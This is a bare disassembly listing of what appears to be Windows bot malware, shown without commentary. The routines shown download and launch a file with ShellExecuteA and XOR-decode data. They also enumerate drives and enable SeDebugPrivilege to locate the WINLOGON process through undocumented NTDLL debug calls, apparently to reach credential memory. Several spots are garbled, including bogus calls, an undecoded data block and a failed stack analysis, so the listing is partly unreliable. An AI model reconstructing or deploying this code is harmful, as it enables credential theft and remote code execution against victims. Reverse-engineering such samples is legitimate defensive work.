loc_416BBC:				; CODE XREF: .nsp0:00416B70j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416C11
		cmp	edi, [ebp-3Ch]
		jz	short loc_416C11
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_43FA4C
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		add	esp, 28h


loc_416C11:				; CODE XREF: .nsp0:00416BC6j
					; .nsp0:00416BCBj
		call	dword_4270A8	; GetTickCount
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_42706C	; CloseHandle
		push	dword ptr [ebp-1Ch]
		call	sub_41B961
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416C9B
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010C3
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416C9B
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43FA24
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		add	esp, 28h


loc_416C9B:				; CODE XREF: .nsp0:00416C43j
					; .nsp0:00416C55j
		cmp	[ebp-14h], esi
		jz	loc_416EDB
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416D96
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_43F9EC
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416D16
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		add	esp, 14h


loc_416D16:				; CODE XREF: .nsp0:00416CF4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416EDB
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4D115C	; ShellExecuteA
		cmp	[ebp-30h], esi
		jnz	loc_416EDB
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_43F9D0
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		add	esp, 24h
		jmp	loc_416EDB
; ---------------------------------------------------------------------------


loc_416D96:				; CODE XREF: .nsp0:00416CA8j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_43F98C
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416DFE
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		add	esp, 14h


loc_416DFE:				; CODE XREF: .nsp0:00416DDCj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BC40
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_443398
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 0B40000h
		push	cs
		cmp	eax, edi
		jnz	short loc_416E80
		call	dword_4D1148	; WSACleanup
		call	loc_418B05
		push	esi
		call	dword_427068	; ExitProcess


loc_416E80:				; CODE XREF: .nsp0:00416E6Cj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_43F958
		jmp	short loc_416E9A
; ---------------------------------------------------------------------------


loc_416E8E:				; CODE XREF: .nsp0:00416A47j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43F92C


loc_416E9A:				; CODE XREF: .nsp0:00416E8Cj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416ECE
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		add	esp, 14h


loc_416ECE:				; CODE XREF: .nsp0:00416EACj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_416EDB:				; CODE XREF: .nsp0:00416C9Ej
					; .nsp0:00416D27j ...
		push	dword ptr [ebp-18h]
		call	dword_4D1224	; InternetCloseHandle
		push	dword ptr [ebp-48h]
		call	sub_40B32A
		pop	ecx
		push	esi
		call	near ptr 0B40000h
		insb

; =============== S U B	R O U T	I N E =======================================



sub_416EF4	proc near		; CODE XREF: .nsp0:00416B20p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416F10


loc_416F00:				; CODE XREF: sub_416EF4+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416F00

locret_416F10:				; CODE XREF: sub_416EF4+Aj
		retn
sub_416EF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F11	proc near		; CODE XREF: .nsp0:00407298p
					; .nsp0:004073CCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DA8E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416F11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F2B	proc near		; CODE XREF: sub_41011E+45Dp
					; sub_41011E+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D8E28
		push	0
		push	edi
		call	sub_41BC40
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416F50:				; CODE XREF: sub_416F2B+5Bj
					; sub_416F2B+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DB50
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DAE0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416F8E
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416F50
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416F50
; ---------------------------------------------------------------------------


loc_416F8E:				; CODE XREF: sub_416F2B+4Bj
		dec	esi
		mov	eax, edi


loc_416F91:				; CODE XREF: sub_416F2B+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416FA0
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416F91
; ---------------------------------------------------------------------------


loc_416FA0:				; CODE XREF: sub_416F2B+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FAA	proc near		; CODE XREF: sub_417156+51p
					; sub_417156+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4D1250	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_416FED
		dec	eax
		jz	short loc_416FE7
		dec	eax
		dec	eax
		jz	short loc_416FE1
		dec	eax
		jz	short loc_416FDB
		dec	eax
		jz	short loc_416FD5
		dec	eax
		jz	short loc_416FCF
		mov	eax, offset word_43FB1C
		retn
; ---------------------------------------------------------------------------


loc_416FCF:				; CODE XREF: sub_416FAA+1Dj
		mov	eax, offset off_43FB18
		retn
; ---------------------------------------------------------------------------


loc_416FD5:				; CODE XREF: sub_416FAA+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416FDB:				; CODE XREF: sub_416FAA+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416FE1:				; CODE XREF: sub_416FAA+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416FE7:				; CODE XREF: sub_416FAA+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416FED:				; CODE XREF: sub_416FAA+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416FAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FF3	proc near		; CODE XREF: sub_41703B+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4D10E0
		test	eax, eax
		jz	short loc_417028
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax ; dword_4D10E0


loc_417028:				; CODE XREF: sub_416FF3+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416FF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41703B	proc near		; CODE XREF: sub_417156+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416FF3
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_417113
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_417113
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_417113
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DBD0
		push	edx
		push	eax
		call	sub_416F2B
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DBD0
		push	edx
		push	eax
		call	sub_416F2B
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DBD0
		push	edx
		push	eax
		call	sub_416F2B
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 18h
		pop	ebx
		jmp	short loc_417142
; ---------------------------------------------------------------------------


loc_417113:				; CODE XREF: sub_41703B+2Cj
					; sub_41703B+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41BF36
		add	esp, 18h


loc_417142:				; CODE XREF: sub_41703B+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41703B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417156	proc near		; CODE XREF: sub_417228+17p
					; sub_417228+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_41703B
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C710
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4171C9
		push	ebx
		push	ebx
		call	sub_416FAA
		pop	ecx
		push	eax
		push	offset unk_43FB6C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 14h
		jmp	short loc_4171FD
; ---------------------------------------------------------------------------


loc_4171C9:				; CODE XREF: sub_417156+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416FAA
		pop	ecx
		push	eax
		push	offset unk_43FB30
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 20h


loc_4171FD:				; CODE XREF: sub_417156+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4157A6
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417156	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417228	proc near		; CODE XREF: .nsp0:0040401Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_417249
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417156
		add	esp, 10h
		jmp	short loc_4172AA
; ---------------------------------------------------------------------------


loc_417249:				; CODE XREF: sub_417228+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4D1158	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_41BBCB
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4D1158	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_4172A1


loc_41726D:				; CODE XREF: sub_417228+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417290
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417156
		add	esp, 10h


loc_417290:				; CODE XREF: sub_417228+54j
		push	esi
		call	sub_41B890
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_41726D


loc_4172A1:				; CODE XREF: sub_417228+43j
		push	edi
		call	sub_41B961
		pop	ecx
		pop	edi
		pop	esi


loc_4172AA:				; CODE XREF: sub_417228+1Fj
		pop	ebx
		pop	ebp
		retn
sub_417228	endp

; ---------------------------------------------------------------------------
byte_4172AD	db 55h,	8Bh, 0ECh	; DATA XREF: .nsp0:004082ECo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 45AFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 4596E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 0FBCC6850h, 858D0043h, 0FFFFFB64h, 20068h, 11E85000h
		dd 8300004Dh, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF268Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5AE8FFFFh, 50000000h
		dd 0FB64858Dh, 0AC68FFFFh, 500043FBh, 4BB9E8h, 24C48300h
		dd 75F85D39h, 858D5320h, 0FFFFFB64h, 50F475FFh,	0FD68858Dh
		dd 0FF50FFFFh, 0FFFD64B5h, 2630E8FFh, 0C483FFFFh, 64858D14h
		dd 50FFFFFBh, 0FFE3F5E8h, 0F075FFFFh, 0FF3F71E8h, 535959FFh
		dd 728C3FE8h, 5E5F2500h, 0EC8B555Bh, 54CEC81h, 56530000h
		dd 104BE57h, 75FF0000h,	0B8858D18h, 68FFFFFDh, 43FC10h
		dd 45E85056h, 8B00004Ch, 42711C3Dh, 10C48300h, 0FEBC858Dh
		dd 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h, 0F0BBFC45h
		dd 74004301h, 0BC85F671h, 10FFFFFEh, 0BD805474h, 0FFFFFEE8h
		dd 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h, 742EFFFFh
		dd 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh, 50565318h
		dd 4BE3E8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh, 75FF1475h
		dd 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h, 858D1C45h
		dd 0FFFFFEBCh, 0FC75FF50h, 700015FFh, 0C0850042h, 75FF8F75h
		dd 8B76E8FCh, 0FFF00072h, 858D1475h, 0FFFFFDB8h, 531875FFh
		dd 91E85056h, 8300004Bh, 858D14C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh, 0FFFFFFFEh
		dd 8D501C45h, 0FFFAB485h, 1875FFFFh, 43FBF468h,	2006800h
		dd 0E8500000h, 4B54h, 858D016Ah, 0FFFFFAB4h, 501075FFh
		dd 0FF0C75FFh, 0DFE80875h, 83FFFF24h, 858D28C4h, 0FFFFFEBCh
		dd 15FF5650h, 427000h, 0B175C085h, 8AF2E856h, 8B7F0072h
		dd 5E5F1C45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417517	proc near		; DATA XREF: .nsp0:0040379Do

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41B196
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417556
		cmp	eax, 2
		jz	short loc_417556
		push	offset unk_43FDE8
		jmp	loc_417695
; ---------------------------------------------------------------------------


loc_417556:				; CODE XREF: sub_417517+2Ej
					; sub_417517+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419EDA
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417690
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	dword_4270B8	; LoadLibraryA
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi ; dword_4270BC
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4DA06C, eax
		call	esi ; dword_4270BC
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4DA060, eax
		call	esi ; dword_4270BC
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4DA270, eax
		call	esi ; dword_4270BC
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4DA068, eax
		call	esi ; dword_4270BC
		mov	dword_4DA064, eax
		call	sub_4176E9
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417663
		mov	esi, dword_427140
		mov	edi, 400h
		mov	ebx, offset dword_4D9060
		push	edi
		push	ebx
		push	offset off_43FD24
		call	esi ; dword_427140
		push	edi
		mov	edi, offset dword_4D9860
		push	edi
		push	offset off_43FD0C
		call	esi ; dword_427140
		cmp	[ebp+var_4], 1
		push	offset dword_4DA278
		push	[ebp+arg_0]
		jnz	short loc_41760F
		call	loc_417872
		jmp	short loc_417614
; ---------------------------------------------------------------------------


loc_41760F:				; CODE XREF: sub_417517+EFj
		call	sub_417A19


loc_417614:				; CODE XREF: sub_417517+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41765C
		cmp	dword_4DA278, 0
		jnz	short loc_417643
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_43FCB0
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 18h
		jmp	short loc_417676
; ---------------------------------------------------------------------------


loc_417643:				; CODE XREF: sub_417517+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417653
		call	sub_417B4F
		jmp	short loc_417658
; ---------------------------------------------------------------------------


loc_417653:				; CODE XREF: sub_417517+133j
		call	sub_417BE6


loc_417658:				; CODE XREF: sub_417517+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417668
; ---------------------------------------------------------------------------


loc_41765C:				; CODE XREF: sub_417517+101j
		push	offset unk_43FC78
		jmp	short loc_417668
; ---------------------------------------------------------------------------


loc_417663:				; CODE XREF: sub_417517+B6j
		push	offset unk_43FC4C


loc_417668:				; CODE XREF: sub_417517+143j
					; sub_417517+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_417676:				; CODE XREF: sub_417517+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419EDA
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 0B40000h
		lock pop ebx
		jmp	short loc_4176A3
; ---------------------------------------------------------------------------


loc_417690:				; CODE XREF: sub_417517+4Ej
		push	offset unk_43FC18


loc_417695:				; CODE XREF: sub_417517+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_4176A3:				; CODE XREF: sub_417517+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4176CA
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_4099D2
		add	esp, 14h


loc_4176CA:				; CODE XREF: sub_417517+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4157A6
		push	[ebp+var_18]
		call	sub_40B32A
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B40000h
		xchg	eax, ecx
		pop	edi
		pop	esi
sub_417517	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4176E9	proc near		; CODE XREF: sub_417517+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_42714C
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi ; dword_42714C
		mov	edi, dword_427148
		push	eax
		call	edi ; dword_427148
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4DA06C	; ZwQuerySystemInformation
		push	ebp
		push	0
		call	esi ; dword_42714C
		push	eax
		call	dword_427144	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi ; dword_42714C
		push	eax
		call	edi ; dword_427148
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4DA06C	; ZwQuerySystemInformation
		test	eax, eax
		jnz	short loc_4177D6
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4177D6
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4177D6


loc_417772:				; CODE XREF: sub_4176E9+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4177C9
		push	0
		push	0
		call	dword_4DA060	; RtlCreateQueryDebugBuffer
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4DA270	; RtlQueryProcessDebugInformation
		test	eax, eax
		jnz	short loc_4177BA
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DC7A
		pop	ecx
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4177EE


loc_4177BA:				; CODE XREF: sub_4176E9+AAj
		test	edi, edi
		jz	short loc_4177C5
		push	edi
		call	dword_4DA068	; RtlDestroyQueryDebugBuffer


loc_4177C5:				; CODE XREF: sub_4176E9+D3j
		mov	eax, [esp+28h+var_10]


loc_4177C9:				; CODE XREF: sub_4176E9+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417772


loc_4177D6:				; CODE XREF: sub_4176E9+6Dj
					; sub_4176E9+7Aj ...
		xor	edi, edi


loc_4177D8:				; CODE XREF: sub_4176E9+17Dj
		push	ebp
		push	0
		call	esi ; dword_42714C
		push	eax
		call	dword_427144	; RtlFreeHeap
		mov	eax, edi


loc_4177E6:				; CODE XREF: sub_4176E9+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
